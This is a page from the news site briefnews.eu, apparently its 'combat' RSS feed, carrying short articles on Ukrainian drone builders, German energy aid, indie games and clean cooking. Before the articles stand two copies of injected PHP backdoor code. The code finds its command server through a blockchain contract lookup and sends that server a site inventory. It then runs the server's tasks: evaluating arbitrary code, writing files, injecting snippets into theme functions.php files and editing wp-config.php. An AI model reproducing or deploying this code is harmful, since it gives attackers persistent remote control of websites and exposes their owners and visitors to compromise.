// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); combat – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 06:25:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png combat – Brief News https://briefnews.eu 32 32 A group of young Ukrainians near the Donbas war front is making combat drones and bombs inscribed with messages for their Russian enemies: AFP video https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/ https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/#respond Tue, 27 Sep 2022 06:25:22 +0000 https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/ A Ukrainian soldier loads a bomb on a drone in Bakhmut, Donetsk region, on September 25, 2022, amid the Russian invasion of Ukraine.
A group of tech-savvy Ukrainian soldiers is making drones and explosives to be used at the front line of the conflict in the country's Donbas region.

  • A team of young soldiers in Ukraine is building drones and explosives to be used on the front lines.
  • They are creating drones loaded with bombs to be used in combat in the Donbas region.
  • Some of the bombs come inscribed with messages like "happy birthday."

A new Agence France-Presse video shows a group of young Ukrainian troops making drones and bombs from a basement close to the front lines of the ongoing conflict in the country's Donbas region.

In the video, a group of around a dozen men in fatigues is seen working on small, remotely-piloted robots. AFP reported that the devices were scavenged from damaged aircraft.

The AFP video, which describes the men as a "group of 20-somethings," also shows a soldier named Varnak, who has been tasked with packing the robots with explosives.

"Their job is to make it move. My job is to make it explode, to fill it with explosives as effectively as possible so that it does the most damage to the enemy, or their tanks, or other military equipment," he told the outlet.

Also seen in the video were bombs made by the team, which come inscribed with personal messages to their Russian enemies, including the sarcastic "happy birthday" and the matter-of-fact "today is a Wednesday, man."

This picture shows bombs ready to be mounted on a drone in Bakhmut, Donetsk region, on September 25, 2022, amid the Russian invasion of Ukraine.
These message-inscribed bombs are meant to be dropped from drones.

Ukraine has been wresting large swathes of territory from the Russians, particularly in the Kharkiv region.

However, the skies over the highly-contested eastern Donbas have been the site of a fierce aerial battle, with the Ukrainians leaning on drones created by its fighters — many of whom are tech enthusiasts — to be flown in combat.

The US has also sent thousands of drones to Ukraine for use in the ongoing conflict. The figure includes 121 Phoenix Ghosts, a type of unmanned aerial system that can be launched by front-line troops for single attacks.

Read the original article on Business Insider

https://i.insider.com/633283f6003b0d00188b5506?format=jpeg

]]>
https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/feed/ 0
Germany commits $67 billion to aid energy companies hurt by soaring prices as European countries work to combat crisis https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/ https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/#respond Tue, 13 Sep 2022 20:22:18 +0000 https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/ A person's silhouette appears near cooling towers at Uniper's coal-fired power plant in Germany after sunset.
Cooling towers at Uniper's coal-fired power plant in Germany.

  • Germany pledged €67 billion ($ 66.9 billion) in funding to assist utility companies, the FT reported.
  • The money will be redeployed from a COVID-19 bailout fund established to help companies avoid insolvency.
  • Gas importers have been forced to pay higher prices as Russia reduces its flow of natural gas to Europe. 

Germany has pledged €67 billion ($ 66.9 billion) in funding to assist utility companies struggling to deal with surging energy prices, the Financial Times reported Tuesday, underscoring concerns in Europe about insolvencies potentially rippling throughout the region. 

Germany's state development bank KfW will be able to deploy billions of euros in loan guarantees and liquidity assistance to energy companies, officials told the FT. The money will be redeployed from a COVID-19 bailout fund that was established in 2020 to help companies stave off insolvencies as lockdown mandates forced them to halt business activities. 

European gas importers have been forced to pay higher prices as Russia reduces its natural gas flows into Europe. The Kremlin recently said Russia will not restart flows of gas supplies through the Nord Stream 1 pipeline until the "collective West" lifts sanctions against Moscow for its invasion of Ukraine. The Nord Stream 1 pipeline runs under the Baltic Sea into northeastern Germany. 

Germany has already made moves in aiding the energy sector. German utility giant Uniper was granted a government bailout now totaling €19 billion, the FT reported, and gas importer VNG asked for government help last week. 

Earlier this month, Sweden and Finland, according to Bloomberg, created €33 billion in emergency liquidity facilities to aid struggling utility companies navigating turbulent power markets. 

European Union energy ministers will hold an emergency meeting on September 30 as part of steps to approve proposals designed to drag down surging gas and power prices sweeping throughout the region.

Read the original article on Business Insider

https://i.insider.com/6320c794e8b5000018510e4d?format=jpeg

]]>
https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/feed/ 0
‘Doko Roko’ Swings Massive Swords in Speedy Combat https://briefnews.eu/doko-roko-swings-massive-swords-in-speedy-combat/ https://briefnews.eu/doko-roko-swings-massive-swords-in-speedy-combat/#respond Sun, 11 Sep 2022 11:40:45 +0000 https://briefnews.eu/doko-roko-swings-massive-swords-in-speedy-combat/ Doko Roko asks what a reasonable size for a sword should be and then tosses that information away. If you want to fight with a blade the size of a shed, you’re…

The post ‘Doko Roko’ Swings Massive Swords in Speedy Combat appeared first on Indie Games Plus.

]]>
https://briefnews.eu/doko-roko-swings-massive-swords-in-speedy-combat/feed/ 0
The rest of PAX West 2022’s standout indie games: Rhythm madness, bloody combat https://briefnews.eu/the-rest-of-pax-west-2022s-standout-indie-games-rhythm-madness-bloody-combat/ https://briefnews.eu/the-rest-of-pax-west-2022s-standout-indie-games-rhythm-madness-bloody-combat/#respond Sat, 10 Sep 2022 21:23:41 +0000 https://briefnews.eu/the-rest-of-pax-west-2022s-standout-indie-games-rhythm-madness-bloody-combat/
The Nintendo corner of PAX West 2022; it's hard to get a full photo of the entire show floor, especially one that includes all eight games profiled in the article below.

Enlarge / The Nintendo corner of PAX West 2022; it’s hard to get a full photo of the entire show floor, especially one that includes all eight games profiled in the article below. (credit: ReedPOP)

SEATTLE—In-person video game conventions are back! Kind of!

Nerdy conventions and other physical events began reappearing in public halls late last year, though what a difference a year makes. PAX West 2021 was my first in-person convention since the COVID-19 pandemic began, but the event was a ghost town, full of empty, blacked-out spaces and massive gaps in the cast of showcasing companies. Last week’s PAX West 2022, on the other hand, finally felt like the real deal, and it was fortunately met by a vigilant, mask-wearing crowd.

Some gaming companies have apparently moved on from local convention participation, with Microsoft and Sony not hosting PAX West booths (though each had a presence at last month’s boisterous Gamescom 2022 in Cologne, Germany). Hence, this post-PAX “coolest upcoming games” feature is far from comprehensive, owing as much to missing companies as to specific games not demoing well in packed convention halls. Even so, we played enough diverse fare to feel comfortable shouting out solid PAX West highlights.

Read 20 remaining paragraphs | Comments

]]>
https://briefnews.eu/the-rest-of-pax-west-2022s-standout-indie-games-rhythm-madness-bloody-combat/feed/ 0
‘Clean cooking’ can help protect forests and also combat climate change by reducing pressure on woodlands and cutting air pollution https://briefnews.eu/clean-cooking-can-help-protect-forests-and-also-combat-climate-change-by-reducing-pressure-on-woodlands-and-cutting-air-pollution/ https://briefnews.eu/clean-cooking-can-help-protect-forests-and-also-combat-climate-change-by-reducing-pressure-on-woodlands-and-cutting-air-pollution/#respond Thu, 01 Sep 2022 20:40:56 +0000 https://briefnews.eu/clean-cooking-can-help-protect-forests-and-also-combat-climate-change-by-reducing-pressure-on-woodlands-and-cutting-air-pollution/ Person cooking over campfire
A person cooks over campfire in Bhutan. About 2.4 billion people in the developing world lack access to "clean cooking."

  • Some 2.4 billion people cook on wood and charcoal fire pits or kerosene stoves.
  • This accounts for 2% of global greenhouse gas emissions and harms forests and public health.
  • "Clean cooking" could help the climate but needs far more funding, a UN-backed group says.

The modern stove probably doesn't make you think about protecting forests. A group backed by the United Nations wants to change that in hopes of unlocking billions of dollars in funding for a little-known climate solution.

Some 2.4 billion people in the developing world lack access to "clean cooking," instead preparing food on wood and charcoal fire pits or inefficient kerosene stoves. The carbon-dioxide emissions are on par with the entire airline industry — about 2% of the global total — and exposure to soot shaves years off the lives of those who cook, who are often women and children.

There is also a cost to nature: More than one-third of the wood harvested for fuel isn't replenished, which contributes to forest degradation and threatens growing investment in nature-based climate solutions, according to a report out this week from the Clean Cooking Alliance.

"Lack of access to clean cooking is the most underinvested health and environmental problem in the world," Jillene Connors Belopolsky, the alliance's chief of staff and chief external-affairs officer, said. "It's historically been viewed as a women's issue."

The alliance works to spur adoption of stoves that meet international standards for indoor air quality, including those that use liquefied petroleum gas, biogas or ethanol. Electric stoves and pressure cookers also make the list.

